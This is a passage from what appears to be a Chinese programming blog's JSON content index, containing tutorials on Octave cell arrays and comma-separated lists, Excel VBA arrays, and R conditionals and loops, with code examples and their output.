來存取，以下的範例示範大括號與小括號的差異：\nc = {\u0026#34;1\u0026#34;, \u0026#34;2\u0026#34;, \u0026#34;3\u0026#34;; \u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;; \u0026#34;4\u0026#34;, \u0026#34;5\u0026#34;, \u0026#34;6\u0026#34;}; 使用大括號取出元素：\nc{2, 3} 輸出為\nans = c 使用小括號取出元素：\nc(2, 3) 輸出為\nans = { [1,1] = c } 由上面的範例可以看出使用大括號是存取巢狀陣列中的元素，而小括號是存取巢狀陣列中的子巢狀陣列。\n巢狀陣列的小括號使用方式與一般多維度的陣列相似，例如將巢狀陣列 c 的第一行與第三行中所有的元素都設為 0：\nc(:, [1, 3]) = {0} 輸出為\nc = { [1,1] = 0 [2,1] = 0 [3,1] = 0 [1,2] = 2 [2,2] = b [3,2] = 5 [1,3] = 0 [2,3] = 0 [3,3] = 0 } 有另外一種寫法也可以：\nc(:, [1, 3]) = 0; 這裡的 0 會被 Octave 自動替換為 {0} 然後指定給 c 的子巢狀陣列。\n另外一個使用小括號的範例：\nc = {1, 2, 3; 4, 5, 6}; c([1, 2], :) = c([2, 1], :) 這會將巢狀陣列 c 的第一行與第二行對調，輸出為\nc = { [1,1] = 4 [2,1] = 1 [1,2] = 5 [2,2] = 2 [1,3] = 6 [2,3] = 3 } 使用大括號取得巢狀陣列中的元素會傳回逗點分隔序列（請參考逗點分隔序列）。例如使用大括號再將上面的巢狀陣列 c 的第一行與第二行對調回來：\n[c{[1, 2], :}] = deal(c{[2, 1], :}) 輸出為\nc = { [1,1] = 1 [2,1] = 4 [1,2] = 2 [2,2] = 5 [1,3] = 3 [2,3] = 6 } 空矩陣 [] 可以用來刪除巢狀陣列中的元素，例如：\nx = {\u0026#34;1\u0026#34;, \u0026#34;2\u0026#34;; \u0026#34;3\u0026#34;, \u0026#34;4\u0026#34;}; x(1, :) = [] 輸出為\nx = { [1,1] = 3 [1,2] = 4 } 使用大括號將巢狀陣列元素的內容刪除，但保留元素的空間：\nx = {\u0026#34;1\u0026#34;, \u0026#34;2\u0026#34;; \u0026#34;3\u0026#34;, \u0026#34;4\u0026#34;}; x{1, 1} = []; x{1, 2} = []; x 輸出為\nx = { [1,1] = [](0x0) [2,1] = 3 [1,2] = [](0x0) [2,2] = 4 } 字串巢狀陣列（Cell Arrays of Strings） 巢狀陣列常用於儲存多個字串，字元陣列亦可一次儲存多個字串，但其每個字串的長度必須相等，而巢狀陣列則沒有這樣的限制，因此在儲存多個不同長度的字串時，建議使用巢狀陣列。在某些情況下在運算時會需要以字元陣列來儲存字串，Octave 中提供了一些函數可以將資料在巢狀陣列與字元陣列之間轉換：char() 與 strvcat() 函數可以將巢狀陣列轉換為字元陣列（請參考連接字串），而 cellstr() 函數可以將字元陣列轉換為巢狀陣列，例如：\na = [\u0026#34;hello\u0026#34;; \u0026#34;world\u0026#34;]; c = cellstr (a) 輸出為\nc = { [1,1] = hello [2,1] = world } cellstr (string) cellstr(string) 函數會將字串陣列 string 轉換為巢狀陣列。\n在 Octave 中大部分的字串操作函數都支援字串巢狀陣列，因此使用巢狀陣列的另外一個優點就是可以直接套用這些字串操作函數，例如可以使用 strcmp() 函數輸入字串巢狀陣列一次比較多個字串：\nc = {\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;}; strcmp (\u0026#34;hello\u0026#34;, c) strcmp() 函數的參數中若有一個是字串巢狀陣列時，其會將巢狀陣列中的每一個字串與另外一個字串做比較，輸出為\nans = 1 0 以下的字串操作函數都支援巢狀陣列：char()、 strvcat()、 strcat() （請參考連接字串）、 strcmp()、 strncmp()、 strcmpi()、 strncmpi() （請參考字串比較）、 str2double()、 strtrim()、 strtrunc()、 strfind()、 strmatch()、 regexp()、 regexpi() （請參考字串操作）與 str2double() （請參考字串轉換）。\niscellstr (cell) iscellstr(cell) 函數可以判斷巢狀陣列 cell 中所有的元素是否都是字串。\n[idxvec, errmsg] = cellidx (listvar, strlist) cellidx(listvar, strlist) 函數會傳回 strlist 中所有的字串在 listvar 中的位置索引，第一個傳回值 idxvec 是 listvar 的索引向量，若 strlist 中所列的字串不在 listvar 之中，則會將錯誤訊息傳回至第二個參數 errmsg 中，若只有指定一個輸出參數，則會將錯誤訊息輸出至螢幕上，並離開程式。例如：\na = {\u0026#34;ABC\u0026#34;, \u0026#34;123\u0026#34;, \u0026#34;abc\u0026#34;, \u0026#34;456\u0026#34;, \u0026#34;DEF\u0026#34;}; b = {\u0026#34;123\u0026#34;, \u0026#34;456\u0026#34;}; cellidx(a, b) 輸出為\nans = 2 4 strlist 與 listvar 兩個參數都可以指定為字元陣列，若指定為字元陣列則每個字串在搜尋前會先以 deblank() 函數將多餘的空白去除。\n巢狀陣列的資料處理（Processing Data in Cell Arrays） 儲存在巢狀陣列中的資料依據其實際的資料的類型可以有幾種不同的處理方式，最簡單的方式就是使用一個或多個迴圈來處理，或是直接使用 cellfun() 函數來處理，此函數會將使用者所指定的函數套用至巢狀陣列中的每一個元素。\ncellfun (fname, c) cellfun (\u0026#34;size\u0026#34;, c, k) cellfun (\u0026#34;isclass\u0026#34;, c, k) cellfun (func, c) cellfun (func, c, d) [a, b] = cellfun (...) cellfun (..., \u0026#34;ErrorHandler\u0026#34;, errfunc) cellfun (..., \u0026#34;UniformOutput\u0026#34;, val) cellfun(fname, c) 函數會將指定的函數 fname 套用至巢狀陣列 c 中的每一個元素，c 中的每個元素會個別傳入 fname 函數中做處理，fname 可以指定為下列函數：\n\u0026quot;isempty\u0026quot;：測試是否為空元素。 \u0026quot;islogical\u0026quot;：測試是否為邏輯值。 \u0026quot;isreal\u0026quot;：測試是否為實數。 \u0026quot;length\u0026quot;：傳回一個向量，向量中包含元素的長度。 \u0026quot;ndims\u0026quot;：傳回元素的維度。 \u0026quot;prodofsize\u0026quot;：傳回每個元素維度的乘積。 \u0026quot;size\u0026quot;：傳回第 k 維的維度大小。 \u0026quot;isclass\u0026quot;：測試元素的類別。 例如：\nc = {\u0026#34;ABC\u0026#34;, \u0026#34;12345\u0026#34;}; cellfun(\u0026#34;length\u0026#34;, c) 輸出為\nans = 3 5 cellfun(func, c, d) 函數可以使用 inline function 或 function handle 的方式指定函數 func，而 c 與 d 則是用於指定 func 輸入的參數，例如：\ncellfun (@atan2, {1.1, 0.3}, {0.2, 1.4}) 輸出為\nans = 1.39094 0.21109 cellfun() 函數其預設的輸出是一個與輸入參數為度相同的陣列。\n若參數 \u0026quot;UniformOutput\u0026quot; 設定為 true，則 func 所指定的函數必須傳回純量，這些純量會被連接起來而產生一個陣列，若設為 false，則 cellfun() 函數會傳回一個巢狀陣列，其中的元素是將輸入巢狀陣列 c 中的元素個別經過 func 函數處理後，再放進輸出巢狀陣列的對應位置，例如：\ncellfun (@(x) tolower(x), {\u0026#34;Foo\u0026#34;, \u0026#34;Bar\u0026#34;, \u0026#34;FooBar\u0026#34;}, \u0026#34;UniformOutput\u0026#34;, false) 輸出為\nans = { [1,1] = foo [1,2] = bar [1,3] = foobar } \u0026quot;ErrorHandler\u0026quot; 參數可以將其後方的 errfunc 設定為錯誤處理函數，當 func 函數產生錯誤時，就會呼叫這個函數，此函數的格式為：\nfunction [...] = errfunc (s, ...) 其中傳入的參數 s 是一個資料結構，其包含的欄位有：\u0026quot;identifier\u0026quot;、\u0026quot;message\u0026quot; 與 \u0026quot;index\u0026quot;，分別代表錯誤的代碼與訊息，以及錯誤發生的資料位置，例如：\nfunction y = foo (s, x), y = NaN; endfunction cellfun (@factorial, {-1,2},\u0026#39;ErrorHandler\u0026#39;,@foo) 輸出為\nans = NaN 2 另外一種巢狀陣列資料的處理方式是將巢狀陣列轉換為其他的資料容器，例如矩陣與資料結構。\nm = cell2mat (c) cell2mat(c) 函數會將巢狀陣列 c 轉換為矩陣，巢狀陣列 c 中的元素必須為數值、邏輯值或字串。\ncell2struct (cell, fields, dim) cell2struct(cell, fields, dim) 函數會將巢狀陣列 cell 轉換為資料結構，參數 fields 所指定的欄位數量必須等於 cell 維度 dim 的大小，即 numel (fields) == size (cell, dim)。例如：\ncell = {\u0026#39;Peter\u0026#39;, \u0026#39;Hannah\u0026#39;, \u0026#39;Robert\u0026#39;; 185, 170, 168}; A = cell2struct (cell, {\u0026#39;Name\u0026#39;,\u0026#39;Height\u0026#39;}, 1); A(1) 輸出為\nans = { Name = Peter Height = 185 } 逗點分隔序列（Comma Separated Lists） 逗點分隔序列（comma separated lists）是 Octave 函數的輸入與輸出參數的基本資料類型，例如：\nmax(a, b) 其中小括號中的 a, b 就是一個逗點分隔序列，逗點分隔序列可以使用在等號的左邊或右邊，例如：\nx = [1 0 1 0 0 1 1; 0 0 0 0 0 0 7]; [i, j] = find (x, 2, \u0026#34;last\u0026#34;); 其中等號右邊小括號中的 x, 2, \u0026quot;last\u0026quot; 是一個逗點分隔序列組成的輸入參數，而 find() 函數也會傳回一個逗點分隔序列，並將其中的每個元素分別指定給等號左邊逗點分隔序列中的元素 i, j。\n逗點分隔序列另外一個常見的使用方式是在使用中括號（[]）建立矩陣，或使用大括號（{}）建立巢狀陣列時：\na = [1, 2, 3, 4]; c = {4, 5, 6, 7}; 其中的 1, 2, 3, 4 與 4, 5, 6, 7 都是逗點分隔序列。\n使用者無法直接操作逗點分隔序列，但可以將資料結構與巢狀陣列轉換為逗點分隔序列，這樣可以替代原本使用逗點分隔序列的地方，這種特性在某些形況很有用，在下面的教學中會示範這樣的用法。\n由巢狀陣列產生逗點分隔序列（Comma Separated Lists Generated from Cell Arrays） 巢狀陣列可以使用大括號將指定元元素取出並組成逗點分隔序列（請參考巢狀陣列索引），而將此逗點分隔序列之外再加上中括號則可以轉換成陣列，例如：\na = {1, [2, 3], 4, 5, 6}; b = [a{1:4}] 輸出為\nb = 1 2 3 4 5 使用大括號可以將逗點分隔序列轉換為巢狀陣列，例如將一個巢狀陣列中的元素取出建立一個新的巢狀陣列：\na = {1, rand(2, 2), \u0026#34;three\u0026#34;}; b = { a{ [1, 3] } } 輸出為\nb = { [1,1] = 1 [1,2] = three } 另外，巢狀陣列使用大括號所取得的逗點分隔序列，可以直接做為函數的輸入參數，這等同於將每個元素分開傳入函數中。例如：\nc = {\u0026#34;GNU\u0026#34;, \u0026#34;Octave\u0026#34;, \u0026#34;is\u0026#34;, \u0026#34;Free\u0026#34;, \u0026#34;Software\u0026#34;}; printf (\u0026#34;%s \u0026#34;, c{1}, c{2}, c{3}, c{4}, c{5}); 輸出為\nGNU Octave is Free Software 也可以使用另外一種寫法：\nprintf (\u0026#34;%s \u0026#34;, c{:}); 輸出為\nGNU Octave is Free Software 這兩種寫法是完全一樣的，為一的差異只有在於後者不用輸入那麼長的指令，並且可以處理任何長度的巢狀陣列 c。\n使用大括號所產生的逗點分隔序列若是放在等號的左邊，則可以有指定的功能，例如：\n[result{1:2}] = find (2 * eye (2)) 輸出為\nresult = { [1,1] = 1 2 [1,2] = 1 2 } 由結構陣列產生逗點分隔序列（Comma Separated Lists Generated from Structure Arrays） 結構陣列可以使用欄位名稱來產生逗點分隔序列，例如：\nx = ceil (randn (10, 1)); in = struct (\u0026#34;call1\u0026#34;, {x, 3, \u0026#34;last\u0026#34;}, \u0026#34;call2\u0026#34;, {x, inf, \u0026#34;first\u0026#34;}); out = struct (\u0026#34;call1\u0026#34;, cell (2, 1), \u0026#34;call2\u0026#34;, cell (2, 1)); [out.call1] = find (in.call1); [out.call2] = find (in.call2); ","permalink":"https://blog.gtwang.org/octave/octave-data-containers/","summary":"\u003cp\u003e在 Octave 中提供兩種方式可以將多種不同的資料儲存在同一個變數中，一種是類似 C 語言的資料結構（data structure），資料結構中的元素都有對應的名稱；另一種是巢狀陣列（cell array），巢狀陣列中可以包含任意類型與各種維度的資料。而函數的參數與傳回值是以逗點分隔序列（comma separated list）來儲存與傳遞。\u003c/p\u003e","title":"Octave 資料容器（Data Containers）"},{"content":"這裡介紹 Excel VBA 的陣列基本用法，還有陣列配合迴圈一同使用的技巧與實際範例。\n前面我們所介紹的 VBA 變數都是儲存單一值變數（例如一個整數或一個字串等），而如果我們需要儲存多個值的時候（像是十個整數或十個字串等），就需要使用陣列（array）。\n一維陣列 一維陣列可以想像成是多個相同類型的純量變數串在一起，陣列的宣告方式跟純量變數類似：\nDim MyArray(4) As Integer 陣列在宣告時會在變數名稱後方加上一對小括號，括號內的整數是指定陣列的結尾索引值，VBA 的陣列索引預設是從 0 開始的，也就是說這樣宣告的 MyArray 就是一個長度為 5 的整數陣列，五個元素的索引分別為 0、1、2、3、4。\n若要指定陣列中所儲存的值，可用小括號加上索引值的方式來設定：\n\u0026#39; 把 MyArray 的第 3 個值（索引為 2）設定為 10 MyArray(2) = 10 陣列元素的讀取方式也是用小括號加上索引：\n\u0026#39; 輸出 MyArray 的第 3 個值 MsgBox MyArray(2) 簡單來說，陣列加上小括號與索引值之後，就變成一般的純量變數，使用方式跟一般的變數相同。\n若要判斷一個變數是否是陣列，可以使用 IsArray 函數：\nMsgBox IsArray(MyArray) 各類型的陣列 其他各種變數類型的陣列語法也都相同，這是一個浮點數（Double）陣列的範例：\nDim MyDblArr(4) As Double MyDblArr(3) = 1.234 MsgBox MyDblArr(3) 這是字串（String）陣列的範例：\nDim MyStrArr(4) As String MyStrArr(3) = \u0026#34;Hello, World.\u0026#34; MsgBox MyStrArr(3) 這是布林（Boolean）陣列的範例：\nDim MyBoolArr(4) As Boolean MyBoolArr(3) = True MsgBox MyBoolArr(3) 我們也可以把陣列宣告為萬用類型（Variant），用來存放各種不同類型的變數：\nDim MyVarArr(4) As Variant MyVarArr(0) = 12.34 MyVarArr(1) = True MyVarArr(2) = \u0026#34;Hello, World.\u0026#34; MsgBox MyVarArr(0) MsgBox MyVarArr(1) MsgBox MyVarArr(2) 萬用類型的陣列在宣告時，也可以簡寫為這樣：\nDim MyVarArr(4) 沒有指定陣列類型的話，預設就是 Variant。\nArray 函數 Array 函數可以讓設計者輸入一連串的資料，直接建立一個陣列，這種寫法對於初始化一些包含常數的靜態陣列非常有用：\nDim arr As Variant arr = Array(1, 2, 3) MsgBox (arr(1)) 自訂索引範圍 如果想要改變陣列索引的起始值，可以自行指定索引範圍的開始與結束值：\n\u0026#39; 索引從 1 開始的陣列 Dim MyArray2(1 To 5) As Integer 這裡宣告一個 MyArray2 陣列，其索引值為 1、2、3、4、5。\n多維陣列 多維度的陣列在 VBA 的程式中也是很常見的，尤其是在處理表格或是矩陣的資料時，就會用到二維陣列。多維度的陣列用法與一維陣列大同小異，只是維度增加而已，語法都類似，以下是一個二維矩陣的範例：\n\u0026#39; 宣告一個 3 x 4 的矩陣 Dim mat(2, 3) As Integer \u0026#39; 指定矩陣內特定元素的值 mat(0, 0) = 2 mat(2, 3) = 5 \u0026#39; 取出矩陣內特定元素的值 MsgBox (mat(2, 3)) 多維度的陣列操作方式與一維陣列非常類似，只是增加索引的個數而已，三維以上的陣列以此類推。\n若要自訂多微陣列的索引範圍，語法也是類似：\n\u0026#39; 自訂多微陣列的索引範圍 Dim mat(1 To 3, 1 To 4) As Integer mat(1, 1) = 2 mat(3, 4) = 5 MsgBox (mat(3, 4)) 動態陣列 一般的陣列在宣告時就必須決定好陣列的大小，但是有的時候我們無法事先預知程式所需要的陣列大小，要等到實際執行時才會知道需要多少空間，這時候就可以使用動態陣列的方式來儲存資料。\n動態陣列（dynamic arrays）的特點就是可以動態改變陣列的大小，在空間不足時可以擴增，而空間太大時也可以縮減，以下是動態陣列的使用方式：\n\u0026#39; 宣告動態陣列 Dim MyDynArr() As Integer \u0026#39; 調整陣列大小 ReDim MyDynArr(3) MsgBox \u0026#34;LBound = \u0026#34; \u0026amp; LBound(MyDynArr) _ \u0026amp; \u0026#34;, Ubound = \u0026#34; \u0026amp; UBound(MyDynArr) MyDynArr(3) = 123 動態陣列的宣告方式就是在宣告陣列時不要指定索引範圍，然後在要使用陣列之前執行 ReDim 設定陣列的大小。\n隨後如果需要改變動態陣列的大小，也是同樣呼叫 ReDim 並指定新的陣列大小，而在預設的狀況下使用 ReDim 改病陣列大小時，原本儲存於陣列中的資料會被刪除，如果想要保留舊資料，就要加上 Preserve，如果舊資料不需要保留的話，就可以將 Preserve 省略，這樣執行速度會比較快。\n\u0026#39; 調整陣列大小，保留陣列內部資料 ReDim Preserve MyDynArr(10) MsgBox \u0026#34;LBound = \u0026#34; \u0026amp; LBound(MyDynArr) _ \u0026amp; \u0026#34;, Ubound = \u0026#34; \u0026amp; UBound(MyDynArr) MyDynArr(7) = 456 MsgBox MyDynArr(3) MsgBox MyDynArr(7) 這裡的 LBound 與 UBound 是用來查詢陣列索引下限與上限的函數。\n當動態陣列使用完畢之後，我們可以使用 Erase 將系統配置給動態陣列的記憶體收回：\nErase MyDynArr Erase 若用於一般性的陣列，則會將陣列內的每個元素重新初始化。\n應用範例 陣列的應用範圍很廣泛，許多的資料在處理時，都會運用到陣列，以下是一些跟陣列有關的應用範例。\nVBA 讀取 Excel 工作表 這是一個將 Excel 工作表中特定範圍的資料，一次全部讀取至 VBA 二維陣列中處理的範例。\nDim i As Integer Dim myTable As Variant \u0026#39; 將 Excel 工作表中特定範圍的資料讀取至 VBA 二維陣列中 myTable = Sheets(\u0026#34;工作表1\u0026#34;).Range(\u0026#34;A1:B5\u0026#34;).Value \u0026#39; 使用迴圈處理二維陣列資料 For i = 2 To 5 MsgBox (myTable(i, 1) \u0026amp; \u0026#34; = \u0026#34; \u0026amp; myTable(i, 2)) Next i 善用 VBA 的二維陣列操作技巧，就可以很容易的將 Excel 表格整個抓進 VBA 處理，等所有的資料處理完後再輸出至 Excel 表格中，這種方式適合用於較大量的資料自動化處理，對於複雜的資料處理來說，這樣會比起直接在 Excel 資料表上操作要來的有效率。\n分割與串接字串 在 VBA 中若要將一串文字分割成好多段，可以使用 Split 函數，而其傳回的結果就是一個一維的陣列，以下是一個簡單的範例：\nDim arr As Variant Dim ub As Integer \u0026#39; 使用 Split 以空白字元分割字串 arr = Split(\u0026#34;This is a test\u0026#34;, \u0026#34; \u0026#34;) \u0026#39; 取得陣列長度 ub = UBound(arr) \u0026#39; 輸出陣列內容 For i = 0 To ub MsgBox (i \u0026amp; \u0026#34; = \u0026#34; \u0026amp; arr(i)) Next i 這裡我們也可以使用 For Each 的方式來處理陣列，這樣就可以省去取得陣列長度的步驟：\n\u0026#39; 使用 For Each 輸出陣列內容 For Each s In arr MsgBox (s) Next s 關於 VBA 迴圈的教學請參考 VBA 迴圈控制。\n若要將陣列的所有元素串接成一個字串，可以使用 Join 函數，以下是一個接續的範例：\nDim str As String \u0026#39; 使用 Join 將陣列內容串接為一個字串 str = Join(arr, \u0026#34; \u0026#34;) MsgBox (str) 篩選陣列元素 Filter 函數可以篩選陣列的每個元素，將符合條件的元素拿出來，組成新的陣列並傳回。以下這個例子會將 arr 陣列中含有字母 B 的元素挑出來：\nDim arr, flt As Variant \u0026#39; 建立測試用陣列 arr = Array(\u0026#34;ABC\u0026#34;, \u0026#34;BCD\u0026#34;, \u0026#34;CDE\u0026#34;) \u0026#39; 篩選出含有 \u0026#34;B\u0026#34; 的元素 flt = Filter(arr, \u0026#34;B\u0026#34;) \u0026#39; 輸出結果 For Each x In flt MsgBox (\u0026#34;result: \u0026#34; \u0026amp; x) Next x 取得陣列元素位置 若要在陣列中尋找特定的元素，並取的該元素的位置，可以使用 Application.Match 函數來處理：\nDim arr, pos As Variant \u0026#39; 建立測試用陣列 arr = Array(\u0026#34;ABC\u0026#34;, \u0026#34;BCD\u0026#34;, \u0026#34;CDE\u0026#34;) \u0026#39; 尋找 \u0026#34;BCD\u0026#34; 的位置 pos = Application.Match(\u0026#34;BCD\u0026#34;, arr, ) \u0026#39; 輸出結果 If Not IsError(pos) Then MsgBox \u0026#34;Position: \u0026#34; \u0026amp; pos Else MsgBox \u0026#34;Not found!\u0026#34; End If 參考資料 Excel Easy tutorialspoint home \u0026amp; learn ExcelFunctions.net ","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-array/","summary":"\u003cp\u003e這裡介紹 Excel VBA 的陣列基本用法，還有陣列配合迴圈一同使用的技巧與實際範例。\u003c/p\u003e\n\u003cp\u003e前面我們所介紹的 \u003ca href=\"/courses/vba/excel-vba-programming-variable/\"\u003eVBA 變數\u003c/a\u003e都是儲存單一值變數（例如一個整數或一個字串等），而如果我們需要儲存多個值的時候（像是十個整數或十個字串等），就需要使用陣列（array）。\u003c/p\u003e","title":"Excel VBA：陣列（Array）"},{"content":"R 跟一般的程式語言一樣有許多流程控制與迴圈的語法，讓程式依照設計者的邏輯逐步執行對應的動作。\n流程控制 有時候在處理資料時，我們會希望程式依照某些條件來判斷應該要執行什麼動作，而不是很單純的將指令逐行執行，R 提供了許多流程控制的語法，可藉由指定的條件來判斷程式執行的流程。\nif 與 else 判斷式 if 判斷式是最簡單、也是最常被使用一種條件判斷語法，他可以判斷一個輸入的邏輯值，如果輸入的值為 TRUE，則執行對應的程式碼，反之該值若為 FALSE，則不執行：\nif(TRUE) message(\u0026#34;It was true!\u0026#34;) It was true! if(FALSE) message(\u0026#34;It wasn\u0026#39;t true!\u0026#34;) 通常我們會使用 if 來判斷指定的變數或是運算式，依據該變數或運算結果來決定是否執行後續的動作：\nbool.val \u0026lt;- runif(1) \u0026gt; 0.5 if (bool.val) message(\u0026#34;Bingo!\u0026#34;); Bingo! 這裡我們使用 runif 函數產生一個 unifrom 分配的隨機變數，若其值大於 0.5 則輸出一行訊息。也可以把兩行合併，這樣可讓程式碼更簡潔：\nif (runif(1) \u0026gt; 0.5) message(\u0026#34;Bingo!\u0026#34;); Bingo! 如果要讓 if 為 TRUE 之後，可以執行多行指令，就要使用大括號將要執行的程式區塊包起來：\nif (runif(1) \u0026gt; 0.5) { message(\u0026#34;Bingo!\u0026#34;); message(\u0026#34;Ha!\u0026#34;); } 當判斷式之後的程式碼只有一行時，可將大括號省略，但在撰寫 R 的指令稿時，為了讓程式碼更容易被閱讀，建議可以將大括號都保留下來。\nif 判斷式只會在條件判別為 TRUE 時執行對應的程式，若要在條件判斷為 FALSE 時也可以執行另一個動作，可以加上 else 判斷式：\nif (runif(1) \u0026gt; 0.5) { message(\u0026#34;Bingo!\u0026#34;); } else { message(\u0026#34;Fail!\u0026#34;); } Fail! 在使用 else 時要注意一點，他必須跟 if 的結尾大括號放在同一行，如果寫成這樣就會造成程式解析上的錯誤：\nif (runif(1) \u0026gt; 0.5) { message(\u0026#34;Bingo!\u0026#34;); } else { message(\u0026#34;Fail!\u0026#34;); } 如果需要判斷多重的條件，可以將 if 與 else 重複配合使用：\nx \u0026lt;- runif(1) if (x \u0026gt; 0.75) { message(\u0026#34;Perfect!\u0026#34;); } else if (x \u0026gt; 0.5) { message(\u0026#34;Good!\u0026#34;); } else if (x \u0026gt; 0.25) { message(\u0026#34;Bad!\u0026#34;); } else { message(\u0026#34;Worst!\u0026#34;); } Perfect! 下面這個是一個 if 與 else 的簡潔寫法範例：\nsample \u0026lt;- if(runif(1) \u0026gt; 0.5) \u0026#34;Good\u0026#34; else \u0026#34;Bad\u0026#34; sample [1] \"Bad\" 這裡的 sample 有一半的機率會是 \u0026quot;Good\u0026quot;，另一半的機率會是 \u0026quot;Bad\u0026quot;。\n缺失值的判斷 if 如果遇到缺失值時，會產生錯誤：\nif(NA) message(\u0026#34;Who knows if it was true?\u0026#34;) Error in if (NA) message(\"Who knows if it was true?\") : 需要 TRUE/FALSE 值的地方有缺值 如果要處理缺失值，可以配合 is.na 來使用：\nif(is.na(NA)) message(\u0026#34;The value is missing!\u0026#34;) The value is missing! 向量化 if 判斷式 一般的 if 判斷式沒辦法直接處理布林向量的判斷，如果將布林向量放進 if 判斷式中，會以第一個元素為準，其餘的元素則會捨棄不用：\nif(c(TRUE, FALSE)) message(\u0026#34;OK.\u0026#34;) OK. Warning message: In if (c(TRUE, FALSE)) message(\"OK.\") : 條件的長度 \u003e 1，因此只能用其第一元素 若需要一次對一整個布林向量作判斷，可以改用 ifelse 這個函數，其第一個參數為布林向量，第二個參數是條件判斷為 TRUE 時要執行的運算，第二個參數則是條件判斷為 FALSE 時要執行的運算：\nifelse(c(TRUE, FALSE, TRUE), \u0026#34;Good\u0026#34;, \u0026#34;Bad\u0026#34;) [1] \"Good\" \"Bad\" \"Good\" 這是另外一個例子：\nx \u0026lt;- c(3:-2) sqrt(ifelse(x \u0026gt;= , x, NA)) [1] 1.732051 1.414214 1.000000 0.000000 [5] NA NA 若第二個與第三個參數為向量時，ifelse 就會依照第一個參數的布林向量來取出對應的值：\nidx \u0026lt;- rep(c(TRUE, FALSE), 6) ifelse(idx, 1:3, -1:-6) [1] 1 -2 3 -4 2 -6 1 -2 3 -4 2 -6 switch 判斷式 if 與 else 的配合之下，雖然可以處理多重條件的判斷，但是這樣的寫法在條件比較多的時候，會顯得比較雜亂：\nx \u0026lt;- \u0026#34;mean\u0026#34; y \u0026lt;- 1:10 if ( x == \u0026#34;mean\u0026#34; ) { mean(y) } else if ( x == \u0026#34;sd\u0026#34; ) { sd(y) } else if ( x == \u0026#34;median\u0026#34; ) { median(y) } else if ( x == \u0026#34;sum\u0026#34; ) { sum(y) } [1] 5.5 這時候可以改用 switch 的寫法：\nswitch(x, mean = mean(y), sd = sd(y), median = median(y), sum = sum(y)) [1] 5.5 若要處理所有條件都不符合的預設狀況，可以加入一個沒有名稱的參數，這樣在所有條件都不符合時，預設就會傳回該參數值：\nz \u0026lt;- \u0026#34;nothing\u0026#34; switch(z, mean = mean(y), sd = sd(y), median = median(y), sum = sum(y), 99) [1] 99 如果要執行多行運算式，就要使用大括號包起來：\nz \u0026lt;- \u0026#34;custom\u0026#34; switch(z, mean = mean(y), sd = sd(y), median = median(y), sum = sum(y), custom = { y2 \u0026lt;- y * 1.2 + pi / 2 prod(sin(y2)) }) [1] -0.00102691 如果 switch 第一個參數放置的是數值，後續的選項可以不需要指定名稱，這種狀況 switch 會直接取出該數值所對應的參數：\nswitch( 3, \u0026#34;first\u0026#34;, \u0026#34;second\u0026#34;, \u0026#34;third\u0026#34;, \u0026#34;fourth\u0026#34; ) [1] \"third\" 上面這樣的用法就沒有預設的選項可以使用，如果想要使用數值來當作判斷的依據，但是又需要預設選項時，可以採用這樣的做法：\nswitch( as.character(328), \u0026#34;328\u0026#34; = \u0026#34;the anser 328\u0026#34;, \u0026#34;default anser\u0026#34; ) [1] \"the anser 328\" 迴圈控制 在 R 中可以使用的迴圈控制方式主要有 repeat、while 與 for 這三種，雖然大部分的迴圈計算可以使用 R 的向量化運算來處理，不過在重複執行某區段的程式碼時，還是必須使用到這裡的迴圈控制結構。\nrepeat 迴圈 repeat 迴圈是最簡單的迴圈控制結構，它會讓 R 不斷得執行指定的程式碼，直到遇到 break 中斷迴圈的執行為止：\nx \u0026lt;- 0 repeat { message(\u0026#34;x = \u0026#34;, x) x \u0026lt;- x + 1 if (x == 5) break } x = 0 x = 1 x = 2 x = 3 x = 4 當 R 在執行程式時若遇到 break 會直接跳出整個迴圈的執行，若只想要讓 R 跳過當次的迭代，執行下一次的重複動作，可以使用 next：\nx \u0026lt;- 0 repeat { x \u0026lt;- x + 1 if (x %% 2 == 0) next message(\u0026#34;x = \u0026#34;, x) if (x \u0026gt; 7) break } x = 1 x = 3 x = 5 x = 7 x = 9 上面這樣的程式碼會跳過所有 x 是偶數的迭代，只輸出奇數的 x 值。\nwhile 迴圈 while 迴圈類似 repeat，不過它會先檢查指定的條件，在條件為 TRUE 的情況下才會執行迴圈的內容：\nx \u0026lt;- 0 while (x != 5) { message(\u0026#34;x = \u0026#34;, x) x \u0026lt;- x + 1 } x = 0 x = 1 x = 2 x = 3 x = 4 在 while 迴圈中，同樣可以使用 break 與 next：\nx \u0026lt;- 0 while ( x \u0026lt; 100 ) { x \u0026lt;- x + 1 if (x %% 2 == 0) next message(\u0026#34;x = \u0026#34;, x) if (x \u0026gt; 7) break } x = 1 x = 3 x = 5 x = 7 x = 9 任何的 repeat 迴圈都可以很簡單的改寫成 while 迴圈，反之亦然，通常如果迴圈至少要執行一次的狀況，就可以使用 repeat，如果迴圈可能會因為條件判斷不符合而完全不執行，則可使用 while，這樣可讓程式碼更容易被閱讀。\nfor 迴圈 for 迴圈主要是用在程式執行前就已經知道迭代次數的情況，它在執行時會將輸入向量中的每個元素值逐一指定給迭代變數，然後重複執行迴圈的內容：\nfor ( x in 0:4 ) { message(\u0026#34;x = \u0026#34;, x) } x = 0 x = 1 x = 2 x = 3 x = 4 如果迴圈的內容只有一行運算式，也可以省略大括號：\nfor ( x in 0:4 ) message(\u0026#34;x = \u0026#34;, x) x = 0 x = 1 x = 2 x = 3 x = 4 for 迴圈不只可以處理整數，R 任何的向量都可以使用 for 迴圈來處理：\ncolors \u0026lt;- c(\u0026#34;red\u0026#34;, \u0026#34;blue\u0026#34;, \u0026#34;yellow\u0026#34;) for (c in colors) { message(\u0026#34;The color is \u0026#34;, c) } The color is red The color is blue The color is yellow 雖然 for 迴圈的寫法跟 R 的向量化運算類似，但實際上 R 向量化運算的效能跟 C 語言層級的迴圈相當，而 R 的 for 迴圈則不同，其執行效率上會差很多，所以在執行大量運算時，應盡可能避免使用 for 迴圈，改以向量化運算的方式代替。\n","permalink":"https://blog.gtwang.org/r/r-flow-control-and-loops/","summary":"\u003cp\u003eR 跟一般的程式語言一樣有許多流程控制與迴圈的語法，讓程式依照設計者的邏輯逐步執行對應的動作。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = 